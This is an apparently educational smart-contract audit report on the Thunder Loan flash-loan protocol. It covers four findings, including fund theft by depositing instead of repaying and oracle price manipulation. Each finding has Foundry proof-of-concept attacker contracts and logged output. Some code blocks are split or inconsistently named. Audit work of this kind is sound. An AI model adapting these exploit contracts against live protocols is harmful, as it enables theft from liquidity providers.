



Thunder Loan Audit Report

Version 1.0

Joev

June 24, 2026

Thunder Loan Audit Report

Joev

24 June, 2026

Prepared by: Joev

Lead Auditors: Jonathan Evan

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes the protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate
 - * [H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay`, users can steal all funds from the protocol

- * [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocol
- Medium
- * [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

JoeV makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
1 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
1  |-- interfaces
2  |   |-- IFlashLoanReceiver.sol
3  |   |-- IPoolFactory.sol
4  |   |-- ISwapPool.sol
5  |   |-- IThunderLoan.sol
6  |-- protocol
7  |   |-- AssetToken.sol
8  |   |-- OracleUpgradeable.sol
9  |   |-- ThunderLoan.sol
10 |-- upgradedProtocol
11 |   |-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

The audit process took more than week due to the many new vulnerabilities and hacking patterns I hadn't encountered before. I discovered over 4 vulnerabilities for this protocol. Because I thought this was for learn, I wrote the high and medium severity only. In this protocol, I saw and learned a lot vulnerabilities as oracle price manipulation, storage collison, centralization, How the flash loan work, and others.

Issues found

Severity	Number of issues found
High	3
Medium	1
Total	4

Findings

High

[H-1] Erroneous ThunderLoan::updateExchangeRate in the deposit function causes the protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function, update this rate, without collecting any fees!

```
1    function deposit(IERC20 token, uint256 amount) external
2        revertIfZero(amount) revertIfNotAllowedToken(token) {
3        AssetToken assetToken = s_tokenToAssetToken[token];
4        uint256 exchangeRate = assetToken.getExchangeRate();
5        uint256 mintAmount = (amount * assetToken.
6            EXCHANGE_RATE_PRECISION()) / exchangeRate;
7        emit Deposit(msg.sender, token, amount);
8        assetToken.mint(msg.sender, mintAmount);
9        // @audit-high
```

```

8  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
9  @>      assetToken.updateExchangeRate(calculatedFee);
10         token.safeTransferFrom(msg.sender, address(assetToken), amount)
        ;
11     }

```

Impact: There are several impacts to this bug.

1. the `redeem` function is blocked, because protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem.

Place the following into `ThunderLoanTest.t.sol`

Proof of Code

```

1      function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2          uint256 amountToBorrow = AMOUNT * 10;
3          uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
4              amountToBorrow);
5
6          vm.startPrank(user);
7          tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
8          thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
9              amountToBorrow, "");
10         vm.stopPrank();
11         uint256 amountToRedeem = type(uint256).max;
12         vm.startPrank(LiquidityProvider);
13         thunderLoan.redeem(tokenA, amountToRedeem);
14     }

```

Recommended Mitigation: Removed the incorrect updated exchange rate lines from `deposit`.

```

1      function deposit(IERC20 token, uint256 amount) external
2          revertIfZero(amount) revertIfNotAllowedToken(token) {
3          AssetToken assetToken = s_tokenToAssetToken[token];
4          uint256 exchangeRate = assetToken.getExchangeRate();
5          uint256 mintAmount = (amount * assetToken.
6              EXCHANGE_RATE_PRECISION()) / exchangeRate;
7          emit Deposit(msg.sender, token, amount);
8          assetToken.mint(msg.sender, mintAmount);
9          - uint256 calculatedFee = getCalculatedFee(token, amount);
10         - assetToken.updateExchangeRate(calculatedFee);

```

```
9         token.safeTransferFrom(msg.sender, address(assetToken), amount)
10     }
    ;
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay`, users can steal all funds from the protocol

Description: The `ThunderLoan::flashloan` function only verifies that the underlying balance of the `AssetToken` contract increased by `amount + fee` at the end of the loan (`endingBalance >= startingBalance + fee`). It never enforces that the funds were returned through `ThunderLoan::repay`. Because of this, a borrower can return the funds by calling `ThunderLoan::deposit` instead of `ThunderLoan::repay`. Both functions move the underlying tokens into the `AssetToken` contract, so the repayment check passes — but `deposit` additionally mints the caller `AssetToken` shares, recording them as a legitimate liquidity provider for tokens that were actually borrowed.

Impact: After the flash loan resolves, the attacker calls `ThunderLoan::redeem` to withdraw the underlying tokens corresponding to those shares. This drains the borrowed principal back out of the pool, allowing the attacker to steal funds from the protocol and causing liquidity providers to lose their money.

Proof of Concept:

Place the following into `ThunderLoanTest.t.sol`

Proof of Code

```
1  function testUseDepositInsteadOfRepayToStealFunds() public
    setAllowedToken hasDeposits {
2      vm.startPrank(user);
3      uint256 amountToBorrow = 50e18;
4      uint256 fee = thunderLoan.getCalculatedFee(tokenA,
        amountToBorrow);
5      DepositOverRepay depositOverRepay = new DepositOverRepay(
        address(thunderLoan));
6      tokenA.mint(address(depositOverRepay), fee);
7      thunderLoan.flashloan(address(depositOverRepay), tokenA,
        amountToBorrow, "");
8      depositOverRepay.redeemMoney();
9      vm.stopPrank();
10
11     console2.log("User Balance: ", tokenA.balanceOf(address(
        depositOverRepay)));
12     console2.log("Amount Borrowed + Fee ", amountToBorrow + fee);
13     // Because deposit() function in thunderLoan changes the
        exchange rate
```

```
14         assertGt(tokenA.balanceOf(address(depositOverRepay)),
15             amountToBorrow + fee);
16     }
17     contract DepositOverRepay is IFlashLoanReceiver {
18         ThunderLoan thunderLoan;
19         AssetToken assetToken;
20         IERC20 s_token;
21
22         constructor(address _thunderLoan) {
23             thunderLoan = ThunderLoan(_thunderLoan);
24         }
25
26         function executeOperation(
27             address token,
28             uint256 amount,
29             uint256 fee,
30             address,
31             /* initiator */
32             bytes calldata /* params */)
33         )
34         external
35         returns (bool)
36         {
37             s_token = IERC20(token);
38             assetToken = thunderLoan.getAssetFromToken(IERC20(token));
39             IERC20(token).approve(address(thunderLoan), amount + fee);
40             thunderLoan.deposit(IERC20(token), amount + fee);
41             return true;
42         }
43
44         function redeemMoney() public {
45             uint256 amount = assetToken.balanceOf(address(this));
46             thunderLoan.redeem(s_token, amount);
47         }
48     }
```

The attacker funded only the `fee` at the start, yet ends up holding `amountToBorrow + fee` (and slightly more, because the exchange-rate bug from H-1 inflates the value of the minted shares). The surplus over the `fee` is liquidity stolen from the protocol. In the run below, the attacker's final balance (`50.157e18`) exceeds the `amountToBorrow + fee` it deposited (`50.15e18`), proving funds were withdrawn that should have remained in the pool.

```
1 Logs:
2   User Balance:           50157185829891086986
3   Amount Borrowed + Fee:  50150000000000000000
```

Recommended Mitigation: Add a check in `deposit` to make it impossible to use it in the same block of a flash loan. For example, registering the block number on flash loan, or simply disallowing

`deposit` while a flash loan is in progress.

The cleanest approach is to track that a flash loan is currently active for the token and block deposits during it:

```
1 +   error ThunderLoan__CurrentlyFlashLoanng();
2
3   function deposit(IERC20 token, uint256 amount) external
4       revertIfZero(amount) revertIfNotAllowedToken(token) {
5 +       if (s_currentlyFlashLoanng[token]) {
6 +           revert ThunderLoan__CurrentlyFlashLoanng();
7 +       }
8       AssetToken assetToken = s_tokenToAssetToken[token];
9       uint256 exchangeRate = assetToken.getExchangeRate();
10      uint256 mintAmount = (amount * assetToken.
11          EXCHANGE_RATE_PRECISION()) / exchangeRate;
12      emit Deposit(msg.sender, token, amount);
13      assetToken.mint(msg.sender, mintAmount);
14      uint256 calculatedFee = getCalculatedFee(token, amount);
15      assetToken.updateExchangeRate(calculatedFee);
16      token.safeTransferFrom(msg.sender, address(assetToken), amount)
17          ;
18  }
```

This forces flash loan borrowers to return funds through `ThunderLoan::repay`, which does not mint `AssetToken` shares, so the borrowed amount can no longer be withdrawn through `redeem`.

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoanng`, freezing the protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
1   uint256 private s_feePrecision;
2   uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1   uint256 private s_flashLoanFee;
2   uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You can't adjust the position of storage variables and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoan` mapping will store in the wrong storage slot.

Proof of Concept:

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
1 import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
  ThunderLoanUpgraded.sol";
2 .
3 .
4 .
5 function testUpgradeBreaks() public {
6     uint256 feeBeforeUpgrade = thunderLoan.getFee();
7     vm.startPrank(thunderLoan.owner());
8     ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
9     thunderLoan.upgradeToAndCall(address(upgraded), "");
10    uint256 feeAfterUpgrade = thunderLoan.getFee();
11    vm.stopPrank();
12
13    console2.log("Fee Before: ", feeBeforeUpgrade);
14    console2.log("Fee After: ", feeAfterUpgrade);
15    assertNotEq(feeBeforeUpgrade, feeAfterUpgrade);
16 }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
1 - uint256 private s_flashLoanFee;
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (Automated Market Maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers with drastically reduced fees for providing liquidity.

Proof of Concept:

Place the following into `ThunderLoanTest.t.sol`

```
1 function testOracleManipulation() public {
2     // 1. Setup contracts!
3     thunderLoan = new ThunderLoan();
4     tokenA = new ERC20Mock();
5     proxy = new ERC1967Proxy(address(thunderLoan), "");
6     BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(
7         address(weth));
8     // Create a TSwap Dex between WETH / TokenA
9     address tswapPool = poolFactory.createPool(address(tokenA));
10    thunderLoan = ThunderLoan(address(proxy));
11    thunderLoan.initialize(address(poolFactory));
12
13    // 2. Fund TSwap
14    uint256 TOKEN_MINT_AMOUNT = 100e18;
15    vm.startPrank(liquidityProvider);
16    tokenA.mint(liquidityProvider, TOKEN_MINT_AMOUNT);
17    tokenA.approve(address(tswapPool), TOKEN_MINT_AMOUNT);
18    weth.mint(liquidityProvider, TOKEN_MINT_AMOUNT);
19    weth.approve(address(tswapPool), TOKEN_MINT_AMOUNT);
20    BuffMockTSwap(tswapPool).deposit(TOKEN_MINT_AMOUNT,
21        TOKEN_MINT_AMOUNT, TOKEN_MINT_AMOUNT, block.timestamp);
22    vm.stopPrank();
23    // Ratio 100 WETH & 100 TokenA
24    // Price -> 1:1
25
26    // 3. Fund ThunderLoan
27    // Set allow
28    uint256 LARGE_AMOUNT = 1000e18; // this balance for trigger
29    oracle manipulation
30    vm.prank(thunderLoan.owner());
31    thunderLoan.setAllowedToken(tokenA, true);
32    // Fund
33    vm.startPrank(liquidityProvider);
34    tokenA.mint(liquidityProvider, LARGE_AMOUNT);
35    tokenA.approve(address(thunderLoan), LARGE_AMOUNT);
36    thunderLoan.deposit(tokenA, LARGE_AMOUNT);
37    vm.stopPrank();
38
39    // 100 WETH & 100 TokenA is TSwap
40    // 1000 TokenA in ThunderLoan
41    // Take out a flash loan of 50 tokenA
42    // Swap it on the dex, tanking the price > 150 TokenA -> ~80
43    WETH
44    // Take out ANOTHER flash loan of 50 tokenA and we'll see how
45    much cheaper it is!!
```

```
42      // 4. We are going to take out 2 flash loan
43      //      a. To nuke the price of the Weth/tokenA on TSwap
44      //      b. To show that doing so greatly reduces the fees we
         pay on ThunderLoan
45      uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
         100e18);
46      console2.log("Normal Fee is: ", normalFeeCost);
47
48      uint256 amountToBorrow = 50e18; // we gonna do this twice
49      MaliciousFlashLoanReceiver flashLoanReceiver = new
         MaliciousFlashLoanReceiver(tswapPool, address(thunderLoan),
         address(thunderLoan.getAssetFromToken(tokenA)));
50
51      vm.startPrank(user);
52      tokenA.mint(address(flashLoanReceiver), 100e18);
53      thunderLoan.flashloan(address(flashLoanReceiver), tokenA,
         amountToBorrow, "");
54      vm.stopPrank();
55
56      uint256 attackFee = flashLoanReceiver.feeOne() +
         flashLoanReceiver.feeTwo();
57      console2.log("attack Fee is: ", attackFee);
58      assertLt(attackFee, normalFeeCost);
59  }
60
61  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
62      ThunderLoan thunderLoan;
63      address repayAddress;
64      BuffMockTSwap tswapPool;
65      bool attacked;
66      uint256 public feeOne;
67      uint256 public feeTwo;
68
69      // 1. Swap TokenA borrowed for WETH
70      // 2. Take out ANOTHER flash loan to show the difference
71
72      constructor(address _tswapPool, address _thunderLoan, address
         _repayAddress) {
73          tswapPool = BuffMockTSwap(_tswapPool);
74          thunderLoan = ThunderLoan(_thunderLoan);
75          repayAddress = _repayAddress;
76      }
77      function executeOperation(
78          address token,
79          uint256 amount,
80          uint256 fee,
81          address,
82          /* initiator */
83          bytes calldata /* params */
84      )
85          external
```

```
86     returns (bool)
87     {
88         if (!attacked) {
89             // 1. Swap TokenA borrowed for WETH
90             // 2. Take out ANOTHER flash loan to show the difference
91             feeOne = fee;
92             attacked = true;
93             uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
94                 (50e18, 100e18, 100e18);
95             IERC20(token).approve(address(tswapPool), 50e18);
96             // Tanks the price!!
97             tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
98                 wethBought, block.timestamp);
99             // We call a second flash loan!!
100            thunderLoan.flashloan(address(this), IERC20(token), amount,
101                "");
102            // repay
103            // IERC20(token).approve(address(thunderLoan), amount + fee
104            );
105            // thunderLoan.repay(IERC20(token), amount + fee);
106            IERC20(token).transfer(address(repayAddress), amount + fee)
107            ;
108        } else {
109            // calculate the fee and repay
110            feeTwo = fee;
111            // repay
112            // IERC20(token).approve(address(thunderLoan), amount + fee
113            );
114            // thunderLoan.repay(IERC20(token), amount + fee);
115            IERC20(token).transfer(address(repayAddress), amount + fee)
116            ;
117        }
118        return true;
119    }
120 }
```

You can see that the actual fee is lower than the true fee in the output:

1	Normal Fee is:	296147410319118389
2	attack Fee is:	214167600932190305

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.